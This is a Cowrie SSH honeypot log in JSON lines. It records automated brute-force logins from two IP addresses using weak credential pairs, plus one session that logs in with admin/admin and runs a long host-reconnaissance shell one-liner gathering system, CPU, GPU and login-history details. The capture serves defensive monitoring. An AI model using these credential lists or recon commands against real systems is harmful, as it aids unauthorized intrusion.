{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:18.658498Z","src_ip":"45.156.87.253","session":"212f0be3687b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"user","message":"login attempt [deployer/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:18.902054Z","src_ip":"45.156.87.253","session":"212f0be3687b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:19.985790Z","src_ip":"45.156.87.253","session":"212f0be3687b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.11","src_port":42950,"dst_ip":"10.17.0.5","dst_port":22,"session":"9eb04b5bb814","protocol":"ssh","message":"New connection: 91.92.40.11:42950 (10.17.0.5:22) [session: 9eb04b5bb814]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:20.045740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:20.118486Z","src_ip":"91.92.40.11","session":"9eb04b5bb814","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:20.183108Z","src_ip":"91.92.40.11","session":"9eb04b5bb814","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:20.973482Z","src_ip":"91.92.40.11","session":"9eb04b5bb814","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:21.315297Z","src_ip":"91.92.40.11","session":"9eb04b5bb814","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","message":"CMD: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | head -c 250; printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:21.318062Z","src_ip":"91.92.40.11","session":"9eb04b5bb814","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -m 2 > /dev/null","message":"CMD: uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:21.321140Z","src_ip":"91.92.40.11","session":"9eb04b5bb814","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:21.324278Z","src_ip":"91.92.40.11","session":"9eb04b5bb814","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/usr/bin/uname -s -v -n -m 2 > /dev/null","message":"CMD: /usr/bin/uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:21.327255Z","src_ip":"91.92.40.11","session":"9eb04b5bb814","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"busybox uname -s -v -n -m 2 > /dev/null","message":"CMD: busybox uname -s -v -n -m 2 > /dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:21.330900Z","src_ip":"91.92.40.11","session":"9eb04b5bb814","protocol":"ssh"}
{"eventid":"cowrie.command.success","input":"uname -s -v -n -m","message":"Command found: uname -s -v -n -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:21.333352Z","src_ip":"91.92.40.11","session":"9eb04b5bb814","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"( [ -f /proc/version ]","message":"CMD: ( [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:21.335740Z","src_ip":"91.92.40.11","session":"9eb04b5bb814","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /proc/version ]","message":"CMD: [ -f /proc/version ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:21.338684Z","src_ip":"91.92.40.11","session":"9eb04b5bb814","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"head -1 /proc/version | cut -d -f1","message":"CMD: head -1 /proc/version | cut -d -f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:21.342494Z","src_ip":"91.92.40.11","session":"9eb04b5bb814","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:21.346070Z","src_ip":"91.92.40.11","session":"9eb04b5bb814","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:21.510912Z","src_ip":"91.92.40.11","session":"9eb04b5bb814","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:21.654814Z","src_ip":"91.92.40.11","session":"9eb04b5bb814","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37900,"dst_ip":"10.17.0.5","dst_port":22,"session":"00dedb01136f","protocol":"ssh","message":"New connection: 45.156.87.253:37900 (10.17.0.5:22) [session: 00dedb01136f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:22.061588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:22.065847Z","src_ip":"45.156.87.253","session":"00dedb01136f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:22.151620Z","src_ip":"45.156.87.253","session":"00dedb01136f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:22.395180Z","src_ip":"45.156.87.253","session":"00dedb01136f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:23.477442Z","src_ip":"45.156.87.253","session":"00dedb01136f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37916,"dst_ip":"10.17.0.5","dst_port":22,"session":"f703fe483512","protocol":"ssh","message":"New connection: 45.156.87.253:37916 (10.17.0.5:22) [session: f703fe483512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:25.386868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:25.390934Z","src_ip":"45.156.87.253","session":"f703fe483512","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:25.475257Z","src_ip":"45.156.87.253","session":"f703fe483512","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456","message":"login attempt [rdpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:25.717585Z","src_ip":"45.156.87.253","session":"f703fe483512","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:26.800366Z","src_ip":"45.156.87.253","session":"f703fe483512","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":37928,"dst_ip":"10.17.0.5","dst_port":22,"session":"7bee39d387b1","protocol":"ssh","message":"New connection: 45.156.87.253:37928 (10.17.0.5:22) [session: 7bee39d387b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:28.909210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:28.912837Z","src_ip":"45.156.87.253","session":"7bee39d387b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:28.992883Z","src_ip":"45.156.87.253","session":"7bee39d387b1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:29.236379Z","src_ip":"45.156.87.253","session":"7bee39d387b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:30.320355Z","src_ip":"45.156.87.253","session":"7bee39d387b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49926,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac1765149e7d","protocol":"ssh","message":"New connection: 45.156.87.253:49926 (10.17.0.5:22) [session: ac1765149e7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:32.207315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:32.287406Z","src_ip":"45.156.87.253","session":"ac1765149e7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:32.367497Z","src_ip":"45.156.87.253","session":"ac1765149e7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:32.633747Z","src_ip":"45.156.87.253","session":"ac1765149e7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T22:50:33.717005Z","src_ip":"45.156.87.253","session":"ac1765149e7d","protocol":"ssh"}
